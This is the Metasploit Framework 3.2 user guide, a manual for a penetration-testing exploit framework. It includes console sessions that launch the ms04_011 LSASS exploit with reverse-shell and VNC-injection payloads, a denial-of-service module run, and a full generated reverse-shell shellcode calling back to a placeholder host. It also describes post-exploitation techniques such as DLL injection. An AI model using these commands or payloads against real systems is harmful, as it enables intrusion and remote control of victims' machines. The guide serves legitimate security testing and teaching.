# Metasploit Framework User's Guide

Version 3.2


http://www.metasploit.com/

# Contents

# Chapter 1

# Introduction

This is the official user guide for version 3.2 of the Metasploit Framework. This guide is designed to provide an overview of what the framework is, how it works, and what you can do with it. The latest version of this document can be found on the Metasploit Framework web site.

The Metasploit Framework is a platform for writing, testing, and using exploit code. The primary users of the Framework are professionals performing penetration testing, shellcode development, and vulnerability research.

# Chapter 2

# Installation

## 2.1 Installation on Unix

Installing the Framework is as easy as extracting the tarball, changing into the created directory, and executing your preferred user interface. We strongly recommend that you use a version of the Ruby interpreter that was built with support for the GNU Readline library. If you are using the Framework on Mac OS X prior to 10.5.1, you will need to install GNU Readline and then recompile the Ruby interpreter. Using a version of Ruby with Readline support enables tab completion of the console interface. The `msfconsole` user interface is preferred for everyday use, but `msfgui` can be useful for those who prefer a graphical interface.

To perform a system-wide installation, we recommend that you copy the entire Framework directory into a globally accessible location (/usr/local/msf) and then create symbolic links from the msf* applications to a directory in the system path (/usr/local/bin). User-specific modules can be placed into `HOME/.msf3/modules` directory. The structure of this directory should mirror that of the global modules directory found in the framework distribution.

The latest stable release of the Ruby interpreter (1.8.7-p72) contains a bug which breaks many of the Metasploit Framework modules. The only way to work around this bug is by downgrading to an older version of 1.8.6 or by upgrading to the latest stable snapshot of 1.8.7. The latest stable snapshot can be downloaded from `ftp://ftp.ruby-lang.org/pub/ruby/stable-snapshot.tar.gz`. For more information about this issue, please see the Ubuntu ticket: `https://bugs.launchpad.net/bugs/282302`.

## 2.2 Installation on Windows

The Metasploit Framework is fully supported on the Windows platform. To install the Framework on Windows, download the latest version of the Windows installer from http://metasploit.com/framework/download/, perform an online update, and launch the `msfgui` interface from the Start Menu. To access a standard `msfconsole` interface, select the Console option from the Window menu.

## 2.3 Platform Caveats

When using the Framework on the Windows platform, keep in mind that `msfgui` is the only supported user interface. While `msfcli` may appear to work on the command line, it will will run into trouble as soon as more than one active thread is present. This can prevent most exploits, auxiliary modules, and plugins from functioning. This problem does not occur within Cygwin environment. The Windows platform does not support raw IP packet injection, packet injection, wireless driver exploitation, or SMB relaying attacks without specific configuration. In most cases, those features can be accessed by running Metasploit inside of a Linux-based virtual machine (such as BackTrack 3 in VMWare).

## 2.4 Supported Operating Systems

The Framework should run on almost any Unix-based operating system that includes a complete and modern version of the Ruby interpreter (1.8.4+). Every stable version of the Framework is tested with three primary platforms:

- Linux 2.6 (x86, ppc)
- Windows NT (2000, XP, 2003, Vista)
- MacOS X 10.5 (x86, ppc)

For information about manually installing the framework, including all of the required dependencies needed to use the new `msfgui` interface, please see the framework web site: http://metasploit.com/framework/support

## 2.5 Updating the Framework

The Framework can be updated using a standard `Subversion` client. The old `msfupdate` tool is no longer supported. Windows users can click on the Online Update link within the Metasploit 3 program folder on the Start Menu. To obtain the latest updates on a Unix-like platform, change into the Framework installation directory and execute `svn update`. If you are accessing the internet through a HTTP proxy server, please see the Subversion FAQ on proxy access: http://subversion.tigris.org/faq.html#proxy

# Chapter 3

# Getting Started

## 3.1 The Console Interface

After you have installed the Framework, you should verify that everything is working properly The easiest way to do this is to execute the `msfconsole` user interface. If you are using Windows, start the `msfgui` interface and access the `Console` link from the Window menu. The console should display an ASCII art logo, print the current version, some module counts, and drop to a "msf¿ " prompt. From this prompt, type `help` to get a list of valid commands. You are currently in the "main" mode; this allows you to list exploits, list payloads, and configure global options. To list all available exploits, type `show exploits`. To obtain more information about a given exploit, type `info module_name`.

The console interface was designed to be flexible and fast. If you enter a command that is not recognized by the console, it will scan the system path to determine if it is a system command. If it finds a match, that command will be executed with the supplied arguments. This allows you to use your standard set of tools without having to leave the console. The console interface also supports tab completion of known commands if Ruby was built with the Readline library. For more information on tab completion, please refer to appendix B.1.

The console startup will similar to the text below.

```
                  o                       8         o   o
                  8                       8             8
ooYoYo. .oPYo.  o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8  o8P
```

```
8' 8  8 8oooo8   8  .oooo8 Yb..   8    8 8 8    8  8   8
8  8  8 8.       8  8    8   'Yb. 8    8 8 8    8  8   8
8  8  8 `Yooo'   8  `YooP8 `YooP' 8YooP' 8 `YooP'  8   8
..:..:..:....:::..::....::.....:8.....:..:.....::..::..:
::::::::::::::::::::::::::::::::8::::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


       =[ msf v3.1-release
+ -- --=[ 263 exploits - 116 payloads
+ -- --=[ 17 encoders - 6 nops
       =[ 45 aux

msf >
```

## 3.2 The GUI Interface

The `msfgui` interface was introduced in version 3.1 and provides the functionality of `msfconsole` in addition to many new features. To access a `msfconsole` shell, select the Console option from the Window menu. To search for a module within the module tree, enter a string or regular expression into the search box and click the button labeled Find. All matching modules will appear the tree below. To execute a module, double-click its name in the tree, or right-click its name and select the Execute option. To view the source code of any module, right-click its name and select the View Code option.

Once a module is selected, a wizard-based interface will walk you through the process of configuring and launching the module. In the case of exploit modules, the output from the module will appear in the main window under the Module Output tab. Any sessions created by the module will appear in the Sessions view in the main window. To access a session, double-click the session name in the view, or open a Console and use the `sessions` command to interact with the shell. Meterpreter sessions will spawn a shell when double-clicked, but also offer a process and file browser via the right-click context menu.

## 3.3 The Command Line Interface

If you are looking for a way to automate exploit testing, or simply do not want to use an interactive interface, then `msfcli` may be the solution. [1] This interface takes a module name as the first parameter, followed by the options in a VAR=VAL format, and finally an action code to specify what should be

[1] The msfcli interface will not work properly with the native Windows version of Ruby

done. The module name is used to determine which exploit or auxiliary module you want to launch.

The action code is a single letter; S for summary, O for options, A for advanced options, I for IDS evasions, P for payloads, T for targets, AC for auxiliary actions, C to try a vulnerability check, and E to exploit. The saved datastore will be loaded and used at startup, allowing you to configure convenient default options in the Global or module-specific datastore of `msfconsole`, save them, and take advantage of them in the `msfcli` interface. As of version 3.1, the `msfcli` interface will also work with auxiliary modules.

# Chapter 4

# The DataStore

The datastore system is a core component of the Framework. The interfaces use it to configure settings, the payloads use it patch opcodes, the exploits use it to define parameters, and it is used internally to pass options between modules. There are two types of datastores. First, there is a single global datastore that can be accessed using the `setg` and `unsetg` commands from `msfconsole`. Second, each module instance has its own datastore in which arbitrary options or parameters can be stored. For example, when the `RHOST` option is set, its value is stored in the datastore of the module instance that it was set relative to. In the event that an option was not set in a module instance's datastore, the framework will consult the global datastore to see if it was set there.

## 4.1 Global DataStore

The Global datastore is accessed through the console via the `setg` and `unsetg` commands. The following example shows the Global datastore state after a fresh installation. Calling `setg` with no arguments displays the current global datastore. Default settings are automatically loaded when the interface starts.

```
msf > setg

Global
======

No entries in data store.
```

## 4.2 Module DataStore

The module datastore is accessed through the `set` and `unset` commands. This datastore only applies to the currently loaded module; switching to another module via the `use` command will result in the module datastore for the current module being swapped out with the datastore of the new module. If no module is currently active, the `set` and `unset` commands will operate on the global datastore. Switching back to the original module will initialize a new datastore for the module. To persist the contents of either the global or module-specific datastores, the `save` command should be used.

## 4.3 Saved DataStore

The `save` command can be used to synchronize the Global and all module datastores to disk. The saved environment is written to `HOME/.msf3/config` and will be loaded when any of the user interfaces are executed.

## 4.4 DataStore Efficiency

This split datastore system allows you save time during exploit development and penetration testing. Common options between exploits can be defined in the Global datastore once and automatically used in any exploit you load thereafter.

The example below shows how the `LPORT`, `LHOST`, and `PAYLOAD` global datastore can be used to save time when exploiting a set of Windows-based targets. If this datastore was set and a Linux exploit was being used, the module datastore (via `set` and `unset`) could be used to override these defaults.

```
f > setg LHOST 192.168.0.10
LHOST => 192.168.0.10
msf > setg LPORT 4445
LPORT => 4445
msf > setg PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf > use windows/smb/ms04_011_lsass
msf exploit(ms04_011_lsass) > show options

Module options:

...

Payload options:

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
```

```
   EXITFUNC  thread          yes       Exit technique: seh, thread, process
   LHOST     192.168.0.10    yes       The local address
   LPORT     4445            yes       The local port

...
```

## 4.5 DataStore Variables

The datastore can be used to configure many aspects of the Framework, ranging from user interface settings to specific timeout options in the network socket API. This section describes the most commonly used environment variables.

For a complete listing of all environment variables, please see the file Environment.txt in the "documentation" subdirectory of the Framework.

### 4.5.1 LogLevel

This variable is used to control the verbosity of log messages provided by the components of the Framework. If this variable is not set, framework logging is disabled. Setting this variable to 0 will turn on default log messages. A value of 1 will enable additional, non-verbose log messages that may be helpful in troubleshooting. A value of 2 will enable verbose debug logging. A value of 3 will enable all logging and may generate a large amount of log messages. Only use this when much additional information is required. Log files are stored in the logs subdirectory of the user's configuration directory ( /.msf3/logs). Unlike version 2 of the framework, debugging messages are never written directly to the console.

### 4.5.2 MsfModulePaths

This variable can be used to add additional paths from which to load modules. By default, the framework will load modules from the modules directory found within the framework install. It will also load modules from /.msf3/modules if such a path exists. This variable makes it possible to statically define additional paths from which to load modules.

# Chapter 5

# Using the Framework

## 5.1 Choosing a Module

From the `msfconsole` interface, you can view the list of modules that are available for you to interact with. You can see all available modules through the `show all` command. To see the list of modules of a particular type you can use the `show moduletype` command, where *moduletype* is any one of exploits, encoders, payloads, and so on. You can select a module with the `use` command by specifying the module's name as the argument. The `info` command can be used to view information about a module without using it.

## 5.2 Exploit Modules

Exploit modules are the de facto module in Metasploit which are used to encapsulate an exploit.

### 5.2.1 Configuring the Active Exploit

Once you have selected an exploit with the `use` command, the next step is to determine what options it requires. This can be accomplished with the `show options` command. Most exploits use `RHOST` to specify the target address and `RPORT` to set the target port. Use the `set` command to configure the appropriate values for all required options. If you have any questions about what a given option does, refer to the module source code. Advanced options are available with some exploit modules, these can be viewed with the `show advanced` command. Options useful for IDS and IPS evasion can be viewed with the `show`

`evasion` command.

### 5.2.2 Verifying the Exploit Options

The `check` command can be used to determine whether the target system is vulnerable to the active exploit module. This is a quick way to verify that all options have been correctly set and that the target is actually vulnerable to exploitation. Not all exploit modules have implemented the check functionality. In many cases it is nearly impossible to determine whether a service is vulnerable without actually exploiting it. A `check` command should never result in the target system crashing or becoming unavailable. Many modules display version information and expect you to analyze it before proceeding.

### 5.2.3 Selecting a Target

Many exploits will require the `TARGET` environment variable to be set to the index number of the desired target. The `show targets` command will list all targets provided by the exploit module. Many exploits will default to a brute-force target type; this may not be desirable in all situations.

### 5.2.4 Selecting the Payload

The payload is the actual code that will run on the target system after a successful exploit attempt. Use the `show payloads` command to list all payloads compatible with the current exploit. If you are behind a firewall, you may want to use a bind shell payload, if your target is behind one and you are not, you would use a reverse connect payload. You can use the `info payload_name` command to view detailed information about a given payload.

Once you have decided on a payload, use the `set` command to specify the payload module name as the value for the `PAYLOAD` environment variable. Once the payload has been set, use the `show options` command to display all available payload options. Most payloads have at least one required option. Advanced options are provided by a handful of payload options; use the `show advanced` command to view these. Please keep in mind that you will be allowed to select any payload compatible with that exploit, even if it not compatible with your currently selected `TARGET`. For example, if you select a Linux target, yet choose a BSD payload, you should not expect the exploit to work.

### 5.2.5 Launching the Exploit

The `exploit` command will launch the attack. If everything went well, your payload will execute and potentially provide you with an interactive command shell on the exploited system.

## 5.3 Auxiliary Modules

Metasploit 3.0 supports the concept of auxiliary modules which can be used to perform arbitrary, one-off actions such as port scanning, denial of service, and even fuzzing.

### 5.3.1 Running an Auxiliary Task

Auxiliary modules are quite a bit similar to exploit modules. Instead of having targets, they have actions, which are specified through the `ACTION` option. To run an auxiliary module, you can either use the `run` command, or you can use the `exploit` command – they're both the same thing.

```
msf > use dos/windows/smb/ms06_035_mailslot
msf auxiliary(ms06_035_mailslot) > set RHOST 1.2.3.4
RHOST => 1.2.3.4
msf auxiliary(ms06_035_mailslot) > run
[*] Mangling the kernel, two bytes at a time...
```

## 5.4 Payload Modules

Payload modules encapsulate the arbitrary code (shellcode) that is executed as the result of an exploit succeeding. Payloads typically build a communication channel between Metasploit and the victim host.

### 5.4.1 Generating a Payload

The console interface supports generating different forms of a payload. This is a new feature in Metasploit 3.0. To generate payloads, first select a payload through the `use` command.

```
msf > use windows/shell_reverse_tcp
```

```
msf payload(shell_reverse_tcp) > generate -h
Usage: generate [options]

Generates a payload.

OPTIONS:

    -b <opt>  The list of characters to avoid: '\x00\xff'
    -e <opt>  The name of the encoder module to use.
    -h        Help banner.
    -o <opt>  A comma separated list of options in VAR=VAL format.
    -s <opt>  NOP sled length.
    -t <opt>  The output type: ruby, perl, c, or raw.

msf payload(shell_reverse_tcp) >
```

Using the options supported by the `generate` command, different formats of a payload can be generated. Some payloads will require options which can be specified through the `-o` parameter. Additionally, a format to convey the generated payload can be specified through the `-t` parameter. To save the resulting data to a local file, pass the `-f` parameter followed by the output file name.

```
msf payload(shell_reverse_tcp) > set LHOST 1.2.3.4
LHOST => 1.2.3.4
msf payload(shell_reverse_tcp) > generate -t ruby
# windows/shell_reverse_tcp - 287 bytes
# http://www.metasploit.com
# EXITFUNC=seh, LPORT=4444, LHOST=1.2.3.4
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24" +
"\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f" +
"\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84" +
"\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28" +
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c" +
"\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64" +
"\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\x5e" +
"\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" +
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50" +
"\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff" +
"\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43" +
"\x53\x43\x53\xff\xd0\x68\x01\x02\x03\x04\x66\x68\x11\x5c" +
"\x66\x53\x89\xe1\x95\x68\xec\xf9\xaa\x60\x57\xff\xd6\x6a" +
"\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68\x63\x6d\x6a\x50" +
"\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\x95" +
"\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" +
```

```
"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51" +
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05" +
"\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6" +
"\x79\xff\x75\x04\xff\xd6\xff\x77\xfc\xff\xd0\x68\xf0\x8a" +
"\x04\x5f\x53\xff\xd6\xff\xd0"
msf payload(shell_reverse_tcp) >
```

## 5.5 Nop Modules

NOP modules are used to generate no-operation instructions that can be used for padding out buffers.

### 5.5.1 Generating a NOP Sled

The NOP module console interface supports generating a NOP sled of an arbitrary size and displaying it in a given format through the `generate` command.

```
msf > use x86/opty2
msf nop(opty2) > generate -h
Usage: generate [options] length

Generates a NOP sled of a given length.

OPTIONS:

    -b <opt>  The list of characters to avoid: '\x00\xff'
    -h        Help banner.
    -s <opt>  The comma separated list of registers to save.
    -t <opt>  The output type: ruby, perl, c, or raw.

msf nop(opty2) >
```

To generate a 50 byte NOP sled that is displayed as a C-style buffer, the following command can be run:

```
msf nop(opty2) > generate -t c 50
unsigned char buf[] =
"\xf5\x3d\x05\x15\xf8\x67\xba\x7d\x08\xd6\x66\x9f\xb8\x2d\xb6"
"\x24\xbe\xb1\x3f\x43\x1d\x93\xb2\x37\x35\x84\xd5\x14\x40\xb4"
"\xb3\x41\xb9\x48\x04\x99\x46\xa9\xb0\xb7\x2f\xfd\x96\x4a\x98"
"\x92\xb5\xd4\x4f\x91";
msf nop(opty2) >
```

# Chapter 6

# Advanced Features

This section covers some of the advanced features that can be found in this release. These features can be used in any compatible exploit and highlight the strength of developing attack code using an exploit framework.

## 6.1 The Meterpreter

The Meterpreter is an advanced multi-function payload that can be dynamically extended at run-time. In normal terms, this means that it provides you with a basic shell and allows you to add new features to it as needed. Please refer to the Meterpreter documentation for an in-depth description of how it works and what you can do with it. The Meterpreter manual can be found in the "documentation" subdirectory of the Framework as well as online at:

http://www.metasploit.com/documents/meterpreter.pdf

## 6.2 PassiveX Payloads

The Metasploit Framework can be used to load arbitrary ActiveX controls into a target process. This feature works by patching the registry of the target system and causing the exploited process to launch internet explorer with a URL pointing back to the Framework. The Framework starts up a simple web server that accepts the request and sends back a web page instructing it to load an ActiveX component. The exploited system then downloads, registers, and executes the ActiveX.

The basic PassiveX payload, `windows/xxx/reverse_http`, supports any custom

ActiveX that you develop. In addition to the base payload, three other PassiveX modules are included in the Framework. These can be used to execute a command shell, load the Meterpreter, or inject a VNC service. When any of these three payloads are used, the PassiveX object will emulate a TCP connection through HTTP GET and POST requests. This allows you to interact with a command shell, VNC, or the Meterpreter using nothing but standard HTTP traffic.

Since PassiveX uses the Internet Explorer browser to load the ActiveX component, it will pass right through an outbound web proxy, using whatever system and authentication settings that have already been configured. The PassiveX payloads will only work when the target system has Internet Explorer 6.0 installed (not 5.5 or 7.0). For more information about PassiveX, please see the Uninformed Journal article titled "Post-Exploitation on Windows using ActiveX Controls", located online at:

http://www.uninformed.org/?v=1&a=3&t=pdf

## 6.3 Chainable Proxies

The Framework includes transparent support for TCP proxies, this release has handler routines for HTTP CONNECT and SOCKSv4 servers. To use a proxy with a given exploit, the `Proxies` environment variable needs to be set. The value of this variable is a comma-separated list of proxy servers, where each server is in the format type:host:port. The type values are 'http' for HTTP CONNECT and 'socks4' for SOCKS v4. The proxy chain can be of any length; testing shows that the system was stable with over five hundred SOCKS and HTTP proxies configured randomly in a chain. The proxy chain only masks the exploit request, the automatic connection to the payload is not relayed through the proxy chain at this time.

## 6.4 Win32 UploadExec Payloads

Although Unix systems normally include all of the tools you need for post-exploitation, Windows systems are notoriously lacking in a decent command line toolkit. The windows/upexec/* payloads included in this release allow you to simultaneously exploit a Windows system, upload your favorite tool, and execute it, all across the payload socket connection. When combined with a self-extracting rootkit or scripting language interpreter (perl.exe!), this can be a very powerful feature. The Meterpreter payloads are usually much better suited for penetration testing tasks.

## 6.5 Win32 DLL Injection Payloads

The Framework includes a staged payload that is capable of injecting a custom DLL into memory in combination with any Win32 exploit. This payload will not result in any files being written to disk; the DLL is loaded directly into memory and is started as a new thread in the exploited process. This payload was developed by Jarkko Turkulainen and Matt Miller and is one of the most powerful post-exploitation techniques developed to date. To create a DLL which can be used with this payload, use the development environment of choice and build a standard Win32 DLL. This DLL should export an function called Init which takes a single argument, an integer value which contains the socket descriptor of the payload connection. The Init function becomes the entry point for the new thread in the exploited process. When processing is complete, it should return and allow the loader stub to exit the process according to the `EXITFUNC` environment variable. If you would like to write your own DLL payloads, refer to the external/source/dllinject directory in the Framework. In additional to normal DLL Injection, version 3.2 and newer include support for Reflective DLL Injection payloads as well. For more information about Reflective DLL Injection, please see the Harmony Security paper, located at http://www.harmonysecurity.com/files/HS-P005_ReflectiveDllInjection.pdf

## 6.6 VNC Server DLL Injection

One of the first DLL injection payloads developed was a customized VNC server. This server was written by Matt Miller and based on the RealVNC source code. Additional modifications were made to allow the server to work with exploited, non-interactive network services. This payload allows you to immediately access the desktop of an exploited system using almost any Win32 exploit. The DLL is loaded into the remote process using any of the staged loader systems, started up as a new thread in the exploited process, and the listens for VNC client requests on the same socket used to load the DLL. The Framework listens on a local socket for a VNC client and proxies data across the payload connection to the server.

The VNC server will attempt to obtain full access to the current interactive desktop. If the first attempt fails, it will call RevertToSelf() and then try the attempt again. If it still fails to obtain full access to this desktop, it will fall back to a read-only mode. In read-only mode, the Framework user can view the contents of the desktop, but not interact with it. If full access was obtained, the VNC server will spawn a command shell on the desktop with the privileges of the exploited service. This is useful in situations where an unprivileged user is on the interactive desktop, but the exploited service is running with System privileges.

If there is no interactive user logged into the system or the screen has been locked, the command shell can be used to launch explorer.exe anyways. This can result in some very confused users when the logon screen also has a Start Menu. If the interactive desktop is changed, either through someone logging into the system or locking the screen, the VNC server will disconnect the client. Future versions may attempt to follow a desktop switch.

To use the VNC injection payloads, specify the full path to the VNC server as the value of the `DLL` option. The VNC server can be found in the data subdirectory of the Framework installation and is named 'vncdll.dll'. The source code of the DLL can be found in the external/source/vncdll subdirectory of the Framework installation.

There are a few situations where the VNC inject payload will simply not work. These problems are often cause by strange execution environments or other issues related to a specific exploit or injection method. These issues will be addressed as time permits:

- The windows/brightstor/universal_agent exploit will cause the VNC payload to crash, possibly due to a strange heap state.

```
msf > use windows/smb/ms04_011_lsass
msf exploit(ms04_011_lsass) > set RHOST some.vuln.host
RHOST => some.vuln.host
msf exploit(ms04_011_lsass) > set PAYLOAD windows/vncinject/reverse_tcp
PAYLOAD => windows/vncinject/reverse_tcp
msf exploit(ms04_011_lsass) > set LHOST your.own.ip
LHOST => your.own.ip
msf exploit(ms04_011_lsass) > set LPORT 4321
LPORT => 4321
msf exploit(ms04_011_lsass) > exploit
```

If the "vncviewer" application is in your path and the AUTOVNC option has been set (it is by default), the Framework will automatically open the VNC desktop. If you would like to connect to the desktop manually, `set AUTOVNC 0`, then use vncviewer to connect to 127.0.0.1 on port 5900.

# Chapter 7

# More Information

## 7.1 Web Site

The metasploit.com web site is the first place to check for updated modules and new releases. This web site also hosts the Opcode Database and a decent shellcode archive.

## 7.2 Mailing List

Metasploit hosts two mailing lists – Framework and Framework-Hackers. You can find information about these mailing lists, along with their archives, at the following URL: http://spool.metasploit.com/

## 7.3 Developers

If you are interested in helping out with the Framework project, or have any questions related to module development, please contact the development team.
The Metasploit Framework development team can be reached at msfdev[at]metasploit.com.

# Appendix A

# Security

We recommend that you use a robust, secure terminal emulator when utilizing the command-line interfaces. Examples include `konsole`, `gnome-terminal`, and recent versions of `PuTTY`.

## A.1 Console Interfaces

The console does not perform terminal escape sequence filtering, this could allow a hostile network service to do Bad Things (TM) to your terminal emulator when the exploit or check commands are used. We suggest that you use a terminal emulator which limits the functionality available through hostile escape sequences. Please see the Terminal Emulator Security Issues paper below for more information on this topic:

http://marc.info/?l=bugtraq&m=104612710031920&q=p3

# Appendix B

# General Tips

## B.1 Tab Completion

On the Unix and Cygwin platforms, tab completion depends on the existence of the Readline library when Ruby was compiled. Some operating systems, such as Mac OS X, have included a version of Ruby without this support. To solve this problem, grab the latest version of the Readline library, configure, build, and install it. Then grab the latest version of the Ruby interpreter and do the same. The resulting Ruby binary can be used to start the `msfconsole` interface with full tab completion support.

## B.2 Secure Socket Layer

Nearly all TCP-based exploit and auxiliary modules have builtin support for the Secure Socket Layer. This is a feature of the Socket class included with the Rex library. To indicate that all connections should use SSL, set the `SSL` environment variable to `true` from within the Framework interface. Keep in mind, that in most cases the default `RPORT` variable will need to be changed as well. For example, when exploiting a web application vulnerability through SSL, the `RPORT` value should be set to `443`.

# Appendix C

# Licenses

The Metasploit Framework is distributed under the modified-BSD license defined below.

```
Copyright (c) 2008, Rapid7 LLC
All rights reserved.

Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:

    * Redistributions of source code must retain the above copyright notice,
  this list of conditions and the following disclaimer.

    * Redistributions in binary form must reproduce the above copyright notice,
  this list of conditions and the following disclaimer in the documentation
  and/or other materials provided with the distribution.

    * Neither the name of Rapid7 LLC nor the names of its contributors
  may be used to endorse or promote products derived from this software
  without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
```